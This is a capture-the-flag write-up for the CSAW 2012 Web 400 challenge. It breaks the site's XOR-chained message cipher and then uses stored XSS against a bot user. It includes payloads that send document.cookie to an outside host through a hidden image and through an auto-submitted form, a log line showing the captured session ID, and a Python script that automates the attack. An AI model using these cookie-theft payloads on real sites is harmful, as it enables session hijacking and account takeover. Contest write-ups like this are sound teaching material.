CSAW CTF - Web 400

Monday, October 01, 2012 » airmack, csaw, ctf, luks, robbje, spq

Web 400 challenge of CSAW CTF

Description

Register at http://128.238.66.214/login.php
Send yourself messages until you figure out how the algorithm for encrypting works.

Cipher

In short, it is an XOR algorithm which works like this

1
2
3
4
enc[0]= IV ^ KEY ^ PLAINTEXT[0]  #PLAINTEXT[0] and enc[0] is equal 8bytes
enc[1]= KEY ^ enc[0] ^ PLAINTEXT[1]
enc[2]= KEY ^ enc[1] ^ PLAINTEXT[2]
...

This works both ways for encrypting and decrypting. The IV can be found out relative easily we set PLAINTEXT[0] = KEY and we get the following IV ['0x17', '0x34', '0x17', '0x39', '0x11', '0x35', '0x24', '0x36'].

XSS

We can now proceed to get Dogs' SessionID. After injecting

1
2
3
4
5
6
7
8
9
<form id="f" method="POST" action="compose.php">
    <input name="to" value="test12">
    <input name="title" value="pw">
    <input name="key" value="a">
    <input name="text" id="t">
</form>
<script>
    document.getElementById("t").value=document.cookie;document.getElementById("f").submit();
</script>

through the text field, we see... NOTHING. Apparently Dog has read its mail(message changes color when read), but doesn't reply back. The next try looks like this

1
<script>var url="http://$URL$?session="+document.cookie,theimg = document.createElement("img");theimg.src=url;document.body.appendChild(theimg);theimg.style.display="none";</script>

Meanwhile on the serverside:

128.238.. - - [30/Sep/2012:04:08:56 +0200] "GET /?session=PHPSESSID=****************3208r7aj40 HTTP/1.1" 200 8937 "http://localhost/download.php?id=101649" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1

Hello, yes this is dog

Change your session ID to dog, check messages id 1 to 6 (http://128.238.66.214/download.php?id=)

1
2
3
4
5
6
7
8
{
1: "\x1c\x30\x11\x2f\x5c\x67\x0a\x12\x32\x2e\x2b\x14\x79\x4b\x1a\x3a\x15\x1c\x0c\x2a\x53\x5d\x28\x1a\x34\x23\x2e\x1b\x44\x45\x28\x39\x3a\x22\x36\x7a\x33\x20\x5b\x56",
2: "\x17\x75\x56\x78\x50\x74\x65\x77",
3: "\x1d\x19\x2a\x01\x35\x04\x00\x05\x38\x33\x0d\x3d\x11\x2d\x49\x4e",
4: "\x17\x75\x56\x78\x50\x74\x65\x77",
5: "\x61\x47\x61\x4d\x6b\x49\x5a\x5b",
6: "\x17\x75\x56\x78\x50\x74\x65\x77",
}

and check the titles(5 Cat key is ILIKECARROTS). With this key we can read some of the messages and go further into the rabbithole. With the help if the obove key we decrypt all messages which results in one particular message: Catsareawesome.
After decrypting all the messages with this key and we get: Here, KEY{ITHISISAFLOwEERPOTTytPos} . Finished.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
#by spq
import urllib
import urllib2
import re

def compose(_to, _title, _key, _text):
        r = opener.open("http://128.238.66.214/compose.php", urllib.urlencode({"to": _to, "title": _title, "key": _key, "text": _text}))

def get_last_msgid():
        p = re.compile('download[.]php[?]id=([0-9]+)"')
        last = None
        for m in p.finditer(opener.open("http://128.238.66.214/outbox.php").read()):
                last = m.group(1)
        return last

def get_msg(i):
        r = opener.open("http://128.238.66.214/download.php?id="+i).read()
        return r[619:-31]

def get_last_msg():
        return get_msg(get_last_msgid())

opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'PHPSESSID=$SESSSION'))

def xor(a, b):
        assert(len(a) == len(b))
        ret=""
        for i in xrange(0, len(a)):
                ret += chr(ord(a[i]) ^ ord(b[i]))
        return ret

def enc(key, text):
        iv="\x17\x34\x17\x39\x11\x35\x24\x36"
        result=""
        while len(text) % 8:
            text+= chr("\x00")
        extendedkey = key
        while len(extendedkey) < len(text):
            extendedkey += key
        for i in xrange(0, len(text), 8):
                part = text[i:i+8]
                result += xor(xor(extendedkey[i:i+8], iv), part)
                iv =part
        return result

#compose("Dog", "foo", "aabb", enc("aabbaabb",'<form id="f" method="POST" action="compose.php"><input name="to" value="spq"><input name="title" value="pw"><input name="key" value="a"><input name="text" id="t"></form><script>document.getElementById("t").value=document.cookie;document.getElementById("f").submit();</script>'))

#print get_last_msg()

#T= {
#        1: "\x1c\x30\x11\x2f\x5c\x67\x0a\x12\x32\x2e\x2b\x14\x79\x4b\x1a\x3a\x15\x1c\x0c\x2a\x53\x5d\x28\x1a\x34\x23\x2e\x1b\x44\x45\x28\x39\x3a\x22\x36\x7a\x33\x20\x5b\x56",
#        2: "\x17\x75\x56\x78\x50\x74\x65\x77",
#        3: "\x1d\x19\x2a\x01\x35\x04\x00\x05\x38\x33\x0d\x3d\x11\x2d\x49\x4e",
#        4: "\x17\x75\x56\x78\x50\x74\x65\x77",
#        5: "\x61\x47\x61\x4d\x6b\x49\x5a\x5b",
#        6: "\x17\x75\x56\x78\x50\x74\x65\x77",
#}
#for i in range(1,6):
    #print enc("ILIKECARROTS", T[i]) 
    #print enc("Catsareawesome", T[i])